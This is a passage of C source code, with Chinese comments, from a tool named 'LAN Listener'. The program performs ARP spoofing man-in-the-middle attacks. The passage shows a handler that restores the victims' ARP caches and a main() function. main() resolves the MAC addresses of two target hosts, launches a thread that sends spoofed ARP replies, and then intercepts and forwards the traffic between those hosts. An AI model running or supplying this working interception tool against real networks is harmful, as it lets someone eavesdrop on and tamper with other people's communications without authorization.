    struct ether_header * eth = (struct ether_header*) buffer1;

    struct ether_arp *arp = (struct ether_arp*) (buffer1 + sizeof(struct ether_header));

    unsigned char ff_mac[]={0xff,0xff,0xff,0xff,0xff,0xff};

    unsigned char zero_mac[] = {0x00,0x00,0x00,0x00,0x00,0x00};

    /**

      * 构造以太网头部,目标mac为主机1的mac,源mac为主机2的mac,即恢复主机1的arp缓存表。

      */

    memcpy(eth->ether_dhost,global_mac1,ETH_ALEN);

    memcpy(eth->ether_shost,global_mac2,ETH_ALEN);

    eth->ether_type = htons(ETHERTYPE_ARP);

       

    /**

      * 构造arp各个数据字段。

      */

    arp->arp_hrd = htons(ARPHRD_ETHER);

    arp->arp_pro = htons(ETHERTYPE_IP);

    arp->arp_hln = ETH_ALEN;

    arp->arp_pln = 4;

    arp->arp_op = htons(ARPOP_REPLY);

    memcpy(arp->arp_sha,global_mac2,ETH_ALEN);

    memcpy(arp->arp_spa,&in_addr2,4);

    memcpy(arp->arp_tha,global_mac1,ETH_ALEN);

    memcpy(arp->arp_tpa,&in_addr1,4);

       

    /**

      * 构造第二个arp报文

      */   

    eth = (struct ether_header*) buffer2;

    arp = (struct ether_arp*) (buffer2 + sizeof(struct ether_header));

    /**

      * 构造以太网头部,目标mac为主机2的mac,源mac为主机1的mac,即恢复主机2的缓存表。

      */

    //memcpy(eth->ether_dhost,global_mac2,ETH_ALEN);

    memcpy(eth->ether_dhost,ff_mac,ETH_ALEN);

    memcpy(eth->ether_shost,global_mac1,ETH_ALEN);

    eth->ether_type = htons(ETHERTYPE_ARP);

    /**

      * 构造arp各个数据字段。

      */

    arp->arp_hrd = htons(ARPHRD_ETHER);

    arp->arp_hln = ETH_ALEN;

    arp->arp_pro = htons(ETHERTYPE_IP);

    arp->arp_pln = 4;

    arp->arp_op = htons(ARPOP_REPLY);

    memcpy(arp->arp_sha,global_mac1,ETH_ALEN);

    memcpy(arp->arp_spa,&in_addr1,4);

    memcpy(arp->arp_tha,global_mac2,ETH_ALEN);

    memcpy(arp->arp_tpa,&in_addr2,4);

   

    int n,sum = 2;

   

    /**

      *将线程结束标志置为真,结束攻击线程。

     */

   

    thread_stop = 1;

    sleep(1);

    printf("开始恢复主机缓存表----------------------------------------------------------\n");

   

    while(sum > 0){

        /**

          * 发送ARP 应答报文到目标主机1

          */

        n = sendto(sockfd,buffer1,ETHER_BUF_LEN,0,(struct sockaddr*) &toaddr,sizeof(toaddr));

        if(n < 0){

            perror("sendto error");

        }else

            printf("sendto %d byte(s)\n",n);

        /**

          * 调试语句,打印数据包各个字段值。

          */

        #ifdef _DEBUG

        printf("打印恢复包:\n");

        print_ether_header(buffer1);

        print_arp_packet((struct ether_arp*)(buffer1+sizeof(struct ether_header)));

        #endif

        /**

          * 发送ARP 应答报文到目标主机2

          */

        n = sendto(sockfd,buffer2,ETHER_BUF_LEN,0,(struct sockaddr*) &toaddr,sizeof(toaddr));

        if(n < 0){

            perror("sendto error");

        }else

            printf("sendto %d byte(s)\n",n);

        /**

          * 调试语句,打印数据包各个字段值。

          */

        #ifdef _DEBUG

        printf("打印恢复包:\n");

        print_ether_header(buffer2);

        print_arp_packet((struct ether_arp*)(buffer2+sizeof(struct ether_header)));

        #endif

        sum--;

        sleep(1);

    }

   

    close(sockfd);

    exit  (0);

}

/**

 * 打印软件信息。

 * 2014.5.29

 */

void about_listener()

{

    printf("LAN Listener 1.0.\n");

    printf("Author Wen Shifang.\n");

    printf("email 772148609@qq.com\n");

    printf("2014.5.29\n");

}

/**

 * 主函数,首先请求目标主机1,2的物理地址,然后向其发送arp欺骗报文,截获二者之间的IP数据报。

 * 命令行参数:

 * argc 参数个数。

 * argv 命令行参数字串。

 */

int main(int argc,char** argv)

{

    char *net_dev_name = argv[1];

    char *remote_ip1 = argv[2];

    char *remote_ip2 = argv[3];

    unsigned char remote_mac1[ETH_ALEN];

    unsigned char remote_mac2[ETH_ALEN];

    memset(remote_mac1,0,sizeof(remote_mac1));

    memset(remote_mac2,0,sizeof(remote_mac2));

    if(argc != 4){

        printf("\tUseage:  %s ifname ip1 ip2\n",argv[0]);

        printf("\tExample: ./main eth0 192.168.9.254 192.168.9.222\n");

        exit(1);

    }

   

    about_listener();

    if( get_mac_by_ip(net_dev_name,remote_ip1,remote_mac1) == -1){

        printf("host %s no response\n",remote_ip1);

        exit (1);

    }

    if( get_mac_by_ip(net_dev_name,remote_ip2,remote_mac2) == -1){

        printf("host %s no response\n",remote_ip2);

        exit (1);

    }

   

    printf("target 1 mac address is ---->>>> %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",\

           remote_mac1[0],remote_mac1[1],remote_mac1[2],remote_mac1[3],remote_mac1[4],remote_mac1[5]);

    printf("target 2 mac address is ---->>>> %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",\

           remote_mac2[0],remote_mac2[1],remote_mac2[2],remote_mac2[3],remote_mac2[4],remote_mac2[5]);

    struct thread_args * p = (struct thread_args*) malloc(sizeof(struct thread_args));

    if(!p){

        perror("malloc failed");

        exit(1);

    }

   

    strcpy(p->interface_name,net_dev_name);

    strcpy(p->target_ip1,remote_ip1);

    strcpy(p->target_ip2,remote_ip2);

    memcpy(p->target_mac1,remote_mac1,ETH_ALEN);

    memcpy(p->target_mac2,remote_mac2,ETH_ALEN);

    printf("target 1 ip address is ->>>>>> %s\n",p->target_ip1);

    printf("target 2 ip address is ->>>>>> %s\n",p->target_ip2);

    /**

      * 创建一个字线程,定时发送ARP欺骗包

      */

    pthread_t tid;

    if(pthread_create(&tid,NULL,thread_attack,p) != 0){

        perror("create thread failed");

        exit(1);

    }

    /**

      * 注册信号处理函数,quit_handler,SIGINT [Ctrl+C]。

     */

    memcpy(global_mac1,remote_mac1,ETH_ALEN);

    memcpy(global_mac2,remote_mac2,ETH_ALEN);

    strcpy(global_ip1,remote_ip1);

    strcpy(global_ip2,remote_ip2);

    strcpy(ifname,net_dev_name);

    if(signal(SIGINT,quit_handler) == SIG_ERR){

        perror("can not install signal handler");

        exit(1);

    }

    /**

      *开始监听目标主机间的通讯,并转发。

     */

    attack_listen(net_dev_name,remote_ip1,remote_ip2,remote_mac1,remote_mac2);

   

    return 0;

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息